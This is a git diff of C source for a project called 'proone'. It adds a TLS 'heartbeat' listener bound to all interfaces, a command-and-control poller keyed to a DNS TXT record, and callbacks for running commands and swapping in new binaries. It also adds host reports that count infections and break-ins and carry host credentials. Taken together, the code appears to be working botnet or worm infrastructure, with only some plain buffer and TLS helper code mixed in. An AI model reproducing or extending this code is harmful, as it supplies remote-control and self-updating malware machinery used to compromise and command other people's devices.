+ if (!htbt_lbd_client_handshake(ctx)) {
+ ctx->valid = false;
+ }
+
+ while (ctx->parent->loop_flag && ctx->valid) {
+ if (ctx->iobuf[1].len > 0) {
+ ev_spec =
+ PTH_EVENT_FD |
+ PTH_UNTIL_FD_READABLE |
+ PTH_UNTIL_FD_WRITEABLE |
+ PTH_UNTIL_FD_EXCEPTION;
+ pfd.events = POLLIN | POLLOUT;
+ }
+ else {
+ ev_spec =
+ PTH_EVENT_FD |
+ PTH_UNTIL_FD_READABLE |
+ PTH_UNTIL_FD_EXCEPTION;
+ pfd.events = POLLIN;
+ }
+
+ if (ev_timeout == NULL) {
+ ev_timeout = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(HTBT_LBD_SCK_OP_TIMEOUT));
+ prne_assert(ev_timeout != NULL);
+ }
+ pth_event_free(ev, FALSE);
+ ev = pth_event(
+ ev_spec,
+ ctx->fd);
+ prne_assert(ev != NULL);
+ pth_event_concat(ev, ev_timeout, NULL);
+
+ prne_assert(pth_mutex_acquire(&ctx->parent->lock, FALSE, ev));
+ pth_cond_await(&ctx->parent->cond, &ctx->parent->lock, ev);
+ pth_mutex_release(&ctx->parent->lock);
+ if (!ctx->parent->loop_flag) {
break;
}
- fret = pth_poll_ev(&ctx->lbd.pfd, 1, -1, ev);
- if (ev != NULL && pth_event_occurred(ev)) {
- ent = ctx->lbd.conn_list.head;
- while (ent != NULL) {
- client = (htbt_lbd_client_t*)ent->element;
+ pfd.fd = ctx->fd;
+ if (poll(&pfd, 1, 0) == 1) {
+ if (!(pfd.revents & (POLLIN | POLLOUT))) {
+ break;
+ }
- if (client->pfd.fd < 0) {
- pth_join(client->pth, NULL);
- prne_free(client);
- ent = prne_llist_erase(&ctx->lbd.conn_list, ent);
- rebuild_ev = true;
+ if (pfd.revents & POLLOUT) {
+ htbt_lbd_consume_outbuf(ctx, 0, ev_timeout);
+ }
+ if (pfd.revents & POLLIN) {
+ if (ctx->iobuf[0].avail == 0) {
+ prne_dbgpf("** Malicious client?\n");
+ goto END;
}
- else {
- ent = ent->next;
+ rw_size = mbedtls_ssl_read(
+ &ctx->ssl,
+ ctx->iobuf[0].m + ctx->iobuf[0].len,
+ ctx->iobuf[0].avail);
+ if (rw_size <= 0) {
+ break;
+ }
+ prne_iobuf_shift(ctx->iobuf + 0, rw_size);
+
+ if (htbt_lbd_consume_inbuf(ctx, ev_timeout)) {
+ pth_event_free(ev_timeout, FALSE);
+ ev_timeout = NULL;
}
}
}
+ }
+
+END:
+ pth_event_free(ev, TRUE);
+ htbt_lbd_proc_close(ctx);
+
+ return NULL;
+}
+
+static void htbt_init_lbd_client (htbt_lbd_client_t *c) {
+ c->pth = NULL;
+ c->parent = NULL;
+ prne_init_iobuf(c->iobuf + 0);
+ prne_init_iobuf(c->iobuf + 1);
+ c->fd = -1;
+ c->valid = true;
+ mbedtls_ssl_init(&c->ssl);
+}
+
+static void htbt_free_lbd_client (htbt_lbd_client_t *c) {
+ if (c == NULL) {
+ return;
+ }
+ pth_abort(c->pth);
+ prne_free_iobuf(c->iobuf + 0);
+ prne_free_iobuf(c->iobuf + 1);
+ prne_close(c->fd);
+ c->fd = -1;
+ mbedtls_ssl_free(&c->ssl);
+ prne_free(c);
+}
+
+static void htbt_lbd_setup_loop (prne_htbt_t *ctx) {
+ uint8_t m_sckaddr[prne_op_max(
+ sizeof(struct sockaddr_in),
+ sizeof(struct sockaddr_in6))];
+ int optval;
+ socklen_t sl;
+ pth_event_t ev;
+
+ while (ctx->loop_flag) {
+ prne_memzero(m_sckaddr, sizeof(m_sckaddr));
+ if ((ctx->lbd.fd = socket(AF_INET6, SOCK_STREAM, 0)) >= 0) {
+ struct sockaddr_in6* sa = (struct sockaddr_in6*)m_sckaddr;
+
+ sa->sin6_addr = in6addr_any;
+ sa->sin6_family = AF_INET6;
+ sa->sin6_port = HTBT_LBD_PORT;
+ sl = sizeof(struct sockaddr_in6);
+ }
+ else if ((ctx->lbd.fd = socket(AF_INET, SOCK_STREAM, 0)) >= 0) {
+ struct sockaddr_in* sa = (struct sockaddr_in*)m_sckaddr;
- if (fret < 0 && errno != EINTR) {
+ sa->sin_addr.s_addr = INADDR_ANY;
+ sa->sin_family = AF_INET;
+ sa->sin_port = HTBT_LBD_PORT;
+ sl = sizeof(struct sockaddr_in);
+ }
+ else {
+ goto ERR;
+ }
+ if (!prne_sck_fcntl(ctx->lbd.fd)) {
+ goto ERR;
+ }
+ optval = 1;
+ setsockopt(
+ ctx->lbd.fd,
+ SOL_SOCKET,
+ SO_REUSEADDR,
+ &optval,
+ sizeof(optval));
+ if (bind(ctx->lbd.fd, (struct sockaddr*)m_sckaddr, sl) != 0) {
+ goto ERR;
+ }
+ if (listen(ctx->lbd.fd, HTBT_LBD_BACKLOG) != 0) {
+ goto ERR;
+ }
+
+ break;
+ERR:
+ prne_close(ctx->lbd.fd);
+ ctx->lbd.fd = -1;
+
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(HTBT_LBD_BIND_INT));
+ prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL));
+ pth_cond_await(&ctx->cond, &ctx->lock, ev);
+ pth_mutex_release(&ctx->lock);
+ pth_event_free(ev, FALSE);
+ }
+}
+
+static void htbt_lbd_serve_loop (prne_htbt_t *ctx) {
+ int fret;
+ pth_event_t ev = NULL;
+ prne_llist_entry_t *ent;
+ htbt_lbd_client_t *client;
+ pth_attr_t attr;
+ pth_state_t ths;
+ struct pollfd pfd;
+ const size_t PAGESIZE = prne_getpagesize();
+
+ while (ctx->loop_flag) {
+ if (ev == NULL) {
+ ev = pth_event(
+ PTH_EVENT_FD | PTH_UNTIL_FD_READABLE | PTH_UNTIL_FD_EXCEPTION,
+ ctx->lbd.fd);
+ prne_assert(ev != NULL);
+
+ ent = ctx->lbd.conn_list.head;
+ while (ent != NULL) {
+ pth_event_t ev_sub = pth_event(
+ PTH_EVENT_TID | PTH_UNTIL_TID_DEAD,
+ ((htbt_lbd_client_t*)ent->element)->pth);
+ prne_assert(ev_sub != NULL);
+ pth_event_concat(ev, ev_sub, NULL);
+
+ ent = ent->next;
+ }
+ }
+
+ prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL));
+ pth_cond_await(&ctx->cond, &ctx->lock, ev);
+ pth_mutex_release(&ctx->lock);
+ if (!ctx->loop_flag) {
break;
}
- else if (fret > 0) {
- if (ctx->lbd.pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) {
+
+ ent = ctx->lbd.conn_list.head;
+ while (ent != NULL) {
+ client = (htbt_lbd_client_t*)ent->element;
+
+ attr = pth_attr_of(client->pth);
+ prne_assert(pth_attr_get(attr, PTH_ATTR_STATE, &ths));
+ pth_attr_destroy(attr);
+
+ if (ths == PTH_STATE_DEAD) {
+ pth_join(client->pth, NULL);
+ client->pth = NULL;
+ htbt_free_lbd_client(client);
+ ent = prne_llist_erase(&ctx->lbd.conn_list, ent);
+
+ pth_event_free(ev, TRUE);
+ ev = NULL;
+ }
+ else {
+ ent = ent->next;
+ }
+ }
+
+ pfd.fd = ctx->lbd.fd;
+ pfd.events = POLLIN;
+ if (poll(&pfd, 1, 0) == 1) {
+ if (!(pfd.revents & POLLIN)) {
break;
}
- else if (ctx->lbd.pfd.revents & POLLIN) {
+
+ fret = accept(ctx->lbd.fd, NULL, NULL);
+ if (fret >= 0) {
+ pth_event_free(ev, TRUE);
+ ev = NULL;
client = NULL;
ent = NULL;
- fret = accept(ctx->lbd.pfd.fd, NULL, NULL);
- do {
- if (fret < 0) {
- break;
- }
+ do { // TRY
+ const size_t IOBUF_SIZE[2][2] = {
+ // TODO: switch after testing
+ {
+ PRNE_HTBT_PROTO_MIN_BUF,
+ PRNE_HTBT_PROTO_SUB_MIN_BUF },
+ { PAGESIZE, PAGESIZE }
+ };
+ bool alloc;
client = (htbt_lbd_client_t*)prne_malloc(
sizeof(htbt_lbd_client_t),
1);
if (client == NULL) {
- break;
+ goto CATCH;
+ }
+ htbt_init_lbd_client(client);
+
+ for (size_t i = 0; i < 2; i += 1) {
+ alloc =
+ prne_alloc_iobuf(
+ client->iobuf + 0,
+ IOBUF_SIZE[i][0]) &&
+ prne_alloc_iobuf(
+ client->iobuf + 1,
+ IOBUF_SIZE[i][1]);
+ if (alloc) {
+ break;
+ }
+ }
+ if (!alloc) {
+ goto CATCH;
}
- client->pth = NULL;
client->parent = ctx;
- client->pfd.fd = fret;
+ client->fd = fret;
+ if (mbedtls_ssl_setup(
+ &client->ssl,
+ ctx->param.lbd_ssl_conf) != 0)
+ {
+ goto CATCH;
+ }
+ mbedtls_ssl_set_bio(
+ &client->ssl,
+ &client->fd,
+ prne_mbedtls_ssl_send_cb,
+ prne_mbedtls_ssl_recv_cb,
+ NULL);
ent = prne_llist_append(&ctx->lbd.conn_list, client);
if (ent == NULL) {
- break;
+ goto CATCH;
}
client->pth = pth_spawn(
PTH_ATTR_DEFAULT,
htbt_lbd_client_entry,
- ent);
+ client);
if (client->pth == NULL) {
- break;
+ goto CATCH;
}
- fret = -1;
- client = NULL;
- ent = NULL;
- rebuild_ev = true;
- } while (false);
+ pth_event_free(ev, TRUE);
+ ev = NULL;
- if (client != NULL) {
- if (client->pth != NULL) {
- pth_abort(client->pth);
+ break;
+CATCH: // CATCH
+ if (ent != NULL) {
+ prne_llist_erase(&ctx->lbd.conn_list, ent);
+ ent = NULL;
}
- }
- if (ent != NULL) {
- prne_llist_erase(&ctx->lbd.conn_list, ent);
- }
- prne_close(fret);
+ if (client != NULL) {
+ htbt_free_lbd_client(client);
+ }
+ prne_close(fret);
+ } while (false);
}
}
}
@@ -265,32 +1161,36 @@ static void *htbt_lbd_entry (void *p) {
ent = ctx->lbd.conn_list.head;
while (ent != NULL) {
client = (htbt_lbd_client_t*)ent->element;
+ ent = ent->next;
- prne_close(client->pfd.fd);
- client->pfd.fd = -1;
pth_join(client->pth, NULL);
-
prne_free(client);
-
- ent = ent->next;
}
prne_llist_clear(&ctx->lbd.conn_list);
+}
+
+static void *htbt_lbd_entry (void *p) {
+ HTBT_INTP_CTX(p);
+
+ htbt_lbd_setup_loop(ctx);
+ htbt_lbd_serve_loop(ctx);
return NULL;
}
-prne_htbt_t *prne_alloc_htbt_worker (
+prne_htbt_t *prne_alloc_htbt (
prne_worker_t *w,
- pth_t sigterm_pth,
- prne_resolv_t *resolv,
- mbedtls_ctr_drbg_context *ctr_drbg)
+ const prne_htbt_param_t param)
{
prne_htbt_t *ret = NULL;
- uint8_t m_sckaddr[prne_op_max(
- sizeof(struct sockaddr_in),
- sizeof(struct sockaddr_in6))];
- if (sigterm_pth == NULL || ctr_drbg == NULL) {
+ if (w == NULL ||
+ param.cb_f.cnc_txtrec == NULL ||
+ param.lbd_ssl_conf == NULL ||
+ param.cncp_ssl_conf == NULL ||
+ param.ctr_drbg == NULL ||
+ param.resolv == NULL)
+ {
errno = EINVAL;
goto ERR;
}
@@ -300,74 +1200,30 @@ prne_htbt_t *prne_alloc_htbt_worker (
goto ERR;
}
- ret->sigterm_pth = sigterm_pth;
- ret->rnd = ctr_drbg;
- ret->resolv = resolv;
- prne_init_llist(&ret->req_q);
+ ret->param = param;
+ prne_init_llist(&ret->main.req_q);
ret->loop_flag = true;
- pth_mutex_init(&ret->main.lock);
- pth_cond_init(&ret->main.cond);
+ pth_mutex_init(&ret->lock);
+ pth_cond_init(&ret->cond);
ret->cncp.pth = NULL;
- pth_mutex_init(&ret->cncp.lock);
- pth_cond_init(&ret->cncp.cond);
- ret->cncp.cv.broadcast = false;
- ret->cncp.cv.lock = &ret->cncp.lock;
- ret->cncp.cv.cond = &ret->cncp.cond;
ret->lbd.pth = NULL;
- ret->lbd.pfd.fd = -1;
+ ret->lbd.fd = -1;
prne_init_llist(&ret->lbd.conn_list);
- if (resolv != NULL) {
- ret->cncp.pth = pth_spawn(
- PTH_ATTR_DEFAULT,
- htbt_cncp_entry,
- ret);
- if (ret->cncp.pth == NULL) {
- goto ERR;
- }
- if (pth_suspend(ret->cncp.pth) == 0) {
- goto ERR;
- }
+ pth_mutex_init(&ret->cncp.lock);
+ pth_cond_init(&ret->cncp.cond);
+ ret->cncp.pth = pth_spawn(
+ PTH_ATTR_DEFAULT,
+ htbt_cncp_entry,
+ ret);
+ if (ret->cncp.pth == NULL || pth_suspend(ret->cncp.pth) == 0) {
+ goto ERR;
}
- do {
- socklen_t sl;
-
- memzero(m_sckaddr, sizeof(m_sckaddr));
- if ((ret->lbd.pfd.fd = socket(AF_INET6, SOCK_STREAM, 0)) >= 0) {
- ((struct sockaddr_in6*)m_sckaddr)->sin6_addr = in6addr_any;
- ((struct sockaddr_in6*)m_sckaddr)->sin6_family = AF_INET6;
- ((struct sockaddr_in6*)m_sckaddr)->sin6_port = HTBT_CNCP_PORT;
- sl = sizeof(struct sockaddr_in6);
- }
- else if ((ret->lbd.pfd.fd = socket(AF_INET, SOCK_STREAM, 0)) >= 0) {
- ((struct sockaddr_in*)m_sckaddr)->sin_addr.s_addr = INADDR_ANY;
- ((struct sockaddr_in*)m_sckaddr)->sin_family = AF_INET;
- ((struct sockaddr_in*)m_sckaddr)->sin_port = HTBT_CNCP_PORT;
- sl = sizeof(struct sockaddr_in);
- }
- else {
- break;
- }
-
- if (fcntl(ret->lbd.pfd.fd, F_SETFL, O_NONBLOCK) != 0) {
- break;
- }
- if (bind(ret->lbd.pfd.fd, (struct sockaddr*)m_sckaddr, sl) != 0) {
- break;
- }
- ret->lbd.pfd.events = POLLIN;
-
- ret->lbd.pth = pth_spawn(PTH_ATTR_DEFAULT, htbt_lbd_entry, ret);
- if (pth_suspend(ret->lbd.pth) == 0) {
- goto ERR;
- }
- } while (false);
-
- if (ret->cncp.pth == NULL && ret->lbd.pth == NULL) {
- // No producer
+ ret->lbd.pth = pth_spawn(PTH_ATTR_DEFAULT, htbt_lbd_entry, ret);
+ if (ret->lbd.pth == NULL || pth_suspend(ret->lbd.pth) == 0) {
goto ERR;
}
@@ -385,3 +1241,9 @@ ERR:
}
return NULL;
}
+
+void prne_htbt_init_param (prne_htbt_param_t *p) {
+ prne_memzero(p, sizeof(prne_htbt_param_t));
+}
+
+void prne_htbt_free_param (prne_htbt_param_t *p) {}
diff --git a/src/htbt.h b/src/htbt.h
index edb6cda..b714b1e 100644
--- a/src/htbt.h
+++ b/src/htbt.h
@@ -1,14 +1,35 @@
#pragma once
#include "pth.h"
#include "resolv.h"
+#include "protocol.h"
+
+#include <mbedtls/ssl.h>
-typedef struct prne_htbt prne_htbt_t;
struct prne_htbt;
+typedef struct prne_htbt prne_htbt_t;
+typedef struct prne_htbt_param prne_htbt_param_t;
+typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out);
+typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out);
+typedef char*(*prne_htbt_tmpfile_ft)(const size_t req_size);
+typedef bool(*prne_htbt_cmd_ft)(const prne_htbt_cmd_t *cmd);
+typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd);
+
+struct prne_htbt_param {
+ mbedtls_ssl_config *lbd_ssl_conf;
+ mbedtls_ssl_config *cncp_ssl_conf;
+ mbedtls_ctr_drbg_context *ctr_drbg;
+ prne_resolv_t *resolv;
+ struct {
+ prne_htbt_cnc_txtrec_ft cnc_txtrec;
+ prne_htbt_hostinfo_ft hostinfo; // optional
+ prne_htbt_tmpfile_ft tmpfile; // optional
+ prne_htbt_bin_ft ny_bin; // optional
+ } cb_f;
+};
+
+prne_htbt_t *prne_alloc_htbt (prne_worker_t *w, const prne_htbt_param_t param);
-prne_htbt_t *prne_alloc_htbt_worker (
- prne_worker_t *w,
- pth_t sigterm_pth,
- prne_resolv_t *resolv, // optional
- mbedtls_ctr_drbg_context *ctr_drbg);
+void prne_htbt_init_param (prne_htbt_param_t *p);
+void prne_htbt_free_param (prne_htbt_param_t *p);
diff --git a/src/iobuf.c b/src/iobuf.c
new file mode 100644
index 0000000..38aa296
--- /dev/null
+++ b/src/iobuf.c
@@ -0,0 +1,83 @@
+#include "iobuf.h"
+#include "util_ct.h"
+#include "util_rt.h"
+
+#include <string.h>
+
+
+void prne_init_iobuf (prne_iobuf_t *ib){
+ prne_memzero(ib ,sizeof(prne_iobuf_t));
+}
+
+void prne_free_iobuf (prne_iobuf_t *ib) {
+ if (ib->ownership) {
+ prne_free(ib->m);
+ ib->m = NULL;
+ ib->size = 0;
+ ib->avail = 0;
+ ib->len = 0;
+ }
+}
+
+bool prne_alloc_iobuf (prne_iobuf_t *ib, const size_t ny_size) {
+ uint8_t *ny;
+
+ ny = (uint8_t*)prne_realloc(ib->ownership ? ib->m : NULL, 1, ny_size);
+ if (ny == NULL) {
+ return false;
+ }
+
+ if (!ib->ownership) {
+ memcpy(ny, ib->m, prne_op_min(ny_size, ib->size));
+ }
+
+ if (ib->size < ny_size) {
+ ib->avail += ny_size - ib->size;
+ }
+ else {
+ ib->avail -= ib->size - ny_size;
+ }
+ ib->m = ny;
+ ib->size = ny_size;
+ ib->ownership = true;
+
+ return true;
+}
+
+void prne_iobuf_setextbuf (
+ prne_iobuf_t *ib,
+ uint8_t *m,
+ const size_t size,
+ const size_t len)
+{
+ prne_dbgast(size >= len);
+ prne_free_iobuf(ib);
+ ib->m = m;
+ ib->size = size;
+ ib->len = len;
+ ib->avail = size - len;
+ ib->ownership = false;
+}
+
+void prne_iobuf_reset (prne_iobuf_t *ib) {
+ ib->avail = ib->size;
+ ib->len = 0;
+}
+
+void prne_iobuf_shift (prne_iobuf_t *ib, const ssize_t amount) {
+ if (amount == 0) {
+ return;
+ }
+ else if (amount > 0) {
+ prne_dbgast(ib->avail >= (size_t)amount);
+ }
+ else {
+ prne_dbgast(ib->len >= (size_t)(amount * -1));
+ }
+
+ ib->len += amount;
+ ib->avail -= amount;
+ if (amount < 0) {
+ memmove(ib->m, ib->m + (-amount), ib->len);
+ }
+}
diff --git a/src/iobuf.h b/src/iobuf.h
new file mode 100644
index 0000000..cb28446
--- /dev/null
+++ b/src/iobuf.h
@@ -0,0 +1,29 @@
+#pragma once
+#include <stdint.h>
+#include <stddef.h>
+#include <stdbool.h>
+
+#include <sys/types.h>
+
+
+typedef struct prne_iobuf prne_iobuf_t;
+
+struct prne_iobuf {
+ uint8_t *m;
+ size_t size;
+ size_t avail;
+ size_t len;
+ bool ownership;
+};
+
+
+void prne_init_iobuf (prne_iobuf_t *ib);
+void prne_free_iobuf (prne_iobuf_t *ib);
+bool prne_alloc_iobuf (prne_iobuf_t *ib, const size_t ny_size);
+void prne_iobuf_setextbuf (
+ prne_iobuf_t *ib,
+ uint8_t *m,
+ const size_t size,
+ const size_t len);
+void prne_iobuf_reset (prne_iobuf_t *ib);
+void prne_iobuf_shift (prne_iobuf_t *ib, const ssize_t amount);
diff --git a/src/mbedtls.c b/src/mbedtls.c
index 2b2cbc6..af5acf1 100644
--- a/src/mbedtls.c
+++ b/src/mbedtls.c
@@ -1,11 +1,12 @@
#include "mbedtls.h"
#include "util_ct.h"
+#include "util_rt.h"
-#include <unistd.h>
#include <errno.h>
#include <string.h>
+
+#include <unistd.h>
#include <fcntl.h>
-#include <time.h>
#include <mbedtls/ssl.h>
#include <mbedtls/entropy_poll.h>
@@ -19,7 +20,7 @@ int prne_mbedtls_x509_crt_verify_cb (void *param, mbedtls_x509_crt *crt, int crt
int prne_mbedtls_ssl_send_cb (void *ctx, const unsigned char *buf, size_t len) {
const int fd = *(int*)ctx;
ssize_t ret;
-
+
ret = write(fd, buf, len);
if (ret < 0) {
switch (errno) {
@@ -83,7 +84,7 @@ typedef struct {
static int prne_mbedtls_entropy_proc_src_f (void *data, unsigned char *output, size_t len, size_t *olen) {
ent_buf_t buf;
- memzero(&buf, sizeof(buf));
+ prne_memzero(&buf, sizeof(buf));
buf.pid = getpid();
buf.ppid = getppid();
buf.clock = clock();
@@ -111,3 +112,48 @@ void prne_mbedtls_entropy_init (mbedtls_entropy_context *ctx) {
}
}
}
+
+bool prne_mbedtls_pth_handle (
+ mbedtls_ssl_context *ssl,
+ int(*mbedtls_f)(mbedtls_ssl_context*),
+ const int fd,
+ pth_event_t ev)
+{
+ int pollret;
+ struct pollfd pfd;
+
+ pfd.fd = fd;
+
+ while (true) {
+ switch (mbedtls_f(ssl)) {
+ case MBEDTLS_ERR_SSL_WANT_READ:
+ pfd.events = POLLIN;
+ break;
+ case MBEDTLS_ERR_SSL_WANT_WRITE:
+ pfd.events = POLLOUT;
+ break;
+ case 0:
+ return true;
+ default:
+ return false;
+ }
+
+ do {
+ pollret = pth_poll_ev(&pfd, 1, -1, ev);
+ if (pollret < 0) {
+ if (errno == EINTR) {
+ continue;
+ }
+ else {
+ return false;
+ }
+ }
+ if (pollret == 0 || pth_event_status(ev) == PTH_STATUS_OCCURRED) {
+ return false;
+ }
+ if (pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) {
+ return false;
+ }
+ } while (false);
+ }
+}
diff --git a/src/mbedtls.h b/src/mbedtls.h
index e7a9017..00386ee 100644
--- a/src/mbedtls.h
+++ b/src/mbedtls.h
@@ -2,9 +2,14 @@
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
+#include <time.h>
+#include <poll.h>
+
+#include <mbedtls/ssl.h>
#include <mbedtls/x509_crt.h>
#include <mbedtls/entropy.h>
+#include <pthsem.h>
// Callback that masks `MBEDTLS_X509_BADCERT_EXPIRED`
@@ -15,3 +20,13 @@ int prne_mbedtls_ssl_recv_cb (void *ctx, unsigned char *buf, size_t len);
* Workaround for a bug - getrandom() blocks
*/
void prne_mbedtls_entropy_init (mbedtls_entropy_context *ctx);
+
+/* Convenience Functions
+*/
+
+// Handles mbedtls_ssl_handshake(), mbedtls_ssl_close_notify()
+bool prne_mbedtls_pth_handle (
+ mbedtls_ssl_context *ssl,
+ int(*mbedtls_f)(mbedtls_ssl_context*),
+ const int fd,
+ pth_event_t ev);
diff --git a/src/pack.c b/src/pack.c
index b3645e4..94601b9 100644
--- a/src/pack.c
+++ b/src/pack.c
@@ -146,7 +146,7 @@ prne_unpack_ctx_pt prne_alloc_unpack_ctx (const prne_bin_archive_t *archive, con
pr.err = errno;
goto ERR;
}
- memzero(&ret->zs, sizeof(ret->zs));
+ prne_memzero(&ret->zs, sizeof(ret->zs));
if (Z_OK != (pr.err = inflateInit(&ret->zs))) {
prne_free(ret);
ret = NULL;
diff --git a/src/proone-htbtclient.c b/src/proone-htbtclient.c
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/src/proone-htbtclient.c
diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c
new file mode 100644
index 0000000..4ba2f73
--- /dev/null
+++ b/src/proone-htbthost.c
@@ -0,0 +1,425 @@
+#include <stdio.h>
+#include <assert.h>
+#include <ctype.h>
+#include <string.h>
+#include <errno.h>
+#include <time.h>
+#include <inttypes.h>
+
+#include <unistd.h>
+#include <fcntl.h>
+#include <regex.h>
+#include <arpa/inet.h>
+
+#include "util_rt.h"
+#include "htbt.h"
+#include "config.h"
+#include "mbedtls.h"
+#include "proone_conf/x509.h"
+
+#include <mbedtls/entropy.h>
+#include <mbedtls/debug.h>
+
+#define HELP_STR \
+"Usage: %s <TXT REC> [options ...] [DNS SPECs...]\n"\
+"Options:\n"\
+" <TXT REC> Target TXT record for CNCP\n"\
+" --help print this message\n"\
+" --no-verify Do not verify client cert\n"\
+" --no-default-dns Do not use hard-coded nameserver pools\n"\
+" @<DNS SPEC> DNS over TLS nameserver\n"\
+"Notes:\n"\
+" IPv4 <DNS SPEC> example: @192.0.2.1 or 192.0.2.1:853\n"\
+" IPv6 <DNS SPEC> example: @[2001:db8::1] or [2001:db8::1]:853\n"
+
+typedef struct {
+ char txtrec[256];
+ bool verify;
+ bool def_dns;
+ prne_resolv_ns_pool_t pool4;
+ prne_resolv_ns_pool_t pool6;
+} htbthost_param_t;
+
+static htbthost_param_t htbthost_param;
+static regex_t re_ns4, re_ns6;
+static char m_nybin_path[256];
+static char m_nybin_args[1024];
+static size_t m_nybin_args_size;
+static sigset_t ss_all, ss_exit;
+static struct timespec proc_start;
+static uint8_t instance_id[16];
+static char hostcred[255];
+static size_t hostcred_len;
+
+static void init_htbthost_param (htbthost_param_t *p) {
+ p->verify = true;
+ p->def_dns = true;
+ prne_resolv_init_ns_pool(&p->pool4);
+ prne_resolv_init_ns_pool(&p->pool6);
+}
+
+static void free_htbthost_param (htbthost_param_t *p) {
+ prne_resolv_free_ns_pool(&p->pool4);
+ prne_resolv_free_ns_pool(&p->pool6);
+}
+
+static void print_usage (const char *prog) {
+ fprintf(stderr, HELP_STR, prog);
+}
+
+static bool cb_txtrec (char *out) {
+ strcpy(out, htbthost_param.txtrec);
+ return true;
+}
+
+static bool cb_hostinfo (prne_htbt_host_info_t *out) {
+ static struct timespec now;
+ static uint8_t PROG_VER[] = PRNE_PROG_VER;
+ int fd;
+
+ now = prne_gettime(CLOCK_MONOTONIC);
+ out->child_uptime = out->parent_uptime = prne_sub_timespec(
+ now,
+ proc_start).tv_sec;
+ out->bne_cnt = 0;
+ out->infect_cnt = 0;
+ out->parent_pid = out->child_pid = getpid();
+
+ _Static_assert(sizeof(PROG_VER) == sizeof(out->prog_ver), "FIXME");
+ memcpy(out->prog_ver, PROG_VER, sizeof(PROG_VER));
+
+ fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY);
+ if (fd >= 0) {
+ read(fd, out->boot_id, sizeof(out->boot_id));
+ close(fd);
+ }
+
+ _Static_assert(sizeof(instance_id) == sizeof(out->instance_id), "FIXME");
+ memcpy(out->instance_id, instance_id, sizeof(instance_id));
+
+ if (prne_htbt_alloc_host_info(out, hostcred_len)) {
+ memcpy(out->host_cred, hostcred, hostcred_len);
+ }
+
+ out->crash_cnt = 0;
+ out->arch = prne_host_arch;
+
+ return true;
+}
+
+static bool cb_ny_bin (
+ const char *path,
+ const char *m_args,
+ const size_t m_args_size)
+{
+ const size_t path_len = prne_nstrlen(path);
+
+ prne_dbgast(path_len > 0);
+ if (path_len + 1 > sizeof(m_nybin_path) || m_args_size > sizeof(m_nybin_args)) {
+ errno = ENOMEM;
+ return false;
+ }
+
+ memcpy(m_nybin_path, path, path_len + 1);
+ memcpy(m_nybin_args, m_args, m_args_size);
+ m_nybin_args_size = m_args_size;
+
+ return true;
+}
+
+static void load_lbd_ssl_conf (
+ mbedtls_ssl_config *conf,
+ mbedtls_x509_crt *ca,
+ mbedtls_x509_crt *crt,
+ mbedtls_pk_context *key,
+ mbedtls_dhm_context *dhm,
+ mbedtls_ctr_drbg_context *rnd)
+{
+ static const uint8_t
+ CA_CRT[] = PRNE_X509_CA_CRT,
+ S_CRT[] = PRNE_X509_S_CRT,
+ S_KEY[] = PRNE_X509_S_KEY,
+ DH[] = PRNE_X509_DH;
+
+ assert(
+ mbedtls_ssl_config_defaults(
+ conf,
+ MBEDTLS_SSL_IS_SERVER,
+ MBEDTLS_SSL_TRANSPORT_STREAM,
+ MBEDTLS_SSL_PRESET_DEFAULT) == 0 &&
+ mbedtls_x509_crt_parse(ca, CA_CRT, sizeof(CA_CRT)) == 0 &&
+ mbedtls_x509_crt_parse(crt, S_CRT, sizeof(S_CRT)) == 0 &&
+ mbedtls_pk_parse_key(key, S_KEY, sizeof(S_KEY), NULL, 0) == 0 &&
+ mbedtls_dhm_parse_dhm(dhm, DH, sizeof(DH)) == 0 &&
+ mbedtls_ssl_conf_own_cert(conf, crt, key) == 0 &&
+ mbedtls_ssl_conf_dh_param_ctx(conf, dhm) == 0);
+ mbedtls_ssl_conf_ca_chain(conf, ca, NULL);
+ mbedtls_ssl_conf_verify(conf, prne_mbedtls_x509_crt_verify_cb, NULL);
+ mbedtls_ssl_conf_rng(conf, mbedtls_ctr_drbg_random, rnd);
+ mbedtls_ssl_conf_min_version(
+ conf,
+ MBEDTLS_SSL_MAJOR_VERSION_3,
+ MBEDTLS_SSL_MINOR_VERSION_0);
+}
+
+static void mbedtls_dbg_f(void *ctx, int level, const char *filename, int line, const char *msg) {
+ prne_dbgpf("<MBEDTLS> %s", msg);
+}
+
+static bool parse_param (const char *arg) {
+ char str[40];
+ regmatch_t rm[3];
+
+ if (strcmp(arg, "--no-verify") == 0) {
+ htbthost_param.verify = false;
+ }
+ else if (strcmp(arg, "--no-default-dns") == 0) {
+ htbthost_param.def_dns = false;
+ }
+ else if (regexec(&re_ns4, arg, 3, rm, 0) == 0) {
+ prne_net_endpoint_t ep;
+ size_t pos;
+
+ pos = rm[1].rm_eo - rm[1].rm_so;
+ memcpy(str, arg + rm[1].rm_so, pos);
+ str[pos] = 0;
+
+ if (rm[2].rm_so >= 0) {
+ if (sscanf(arg + rm[2].rm_so, ":%"SCNu16, &ep.port) != 1) {
+ return false;
+ }
+ }
+ else {
+ ep.port = 853;
+ }
+
+ if (inet_pton(AF_INET, str, ep.addr.addr)) {
+ ep.addr.ver = PRNE_IPV_4;
+ pos = htbthost_param.pool4.cnt;
+ prne_resolv_alloc_ns_pool(&htbthost_param.pool4, pos + 1);
+ htbthost_param.pool4.arr[pos] = ep;
+ }
+ else {
+ return false;
+ }
+ }
+ else if (regexec(&re_ns6, arg, 3, rm, 0) == 0) {
+ prne_net_endpoint_t ep;
+ size_t pos;
+
+ pos = rm[1].rm_eo - rm[1].rm_so;
+ memcpy(str, arg + rm[1].rm_so, rm[1].rm_eo - rm[1].rm_so);
+ str[pos] = 0;
+
+ if (rm[2].rm_so >= 0) {
+ if (sscanf(arg + rm[2].rm_so, ":%"SCNu16, &ep.port) != 1) {
+ return false;
+ }
+ }
+ else {
+ ep.port = 853;
+ }
+
+ if (inet_pton(AF_INET6, str, ep.addr.addr)) {
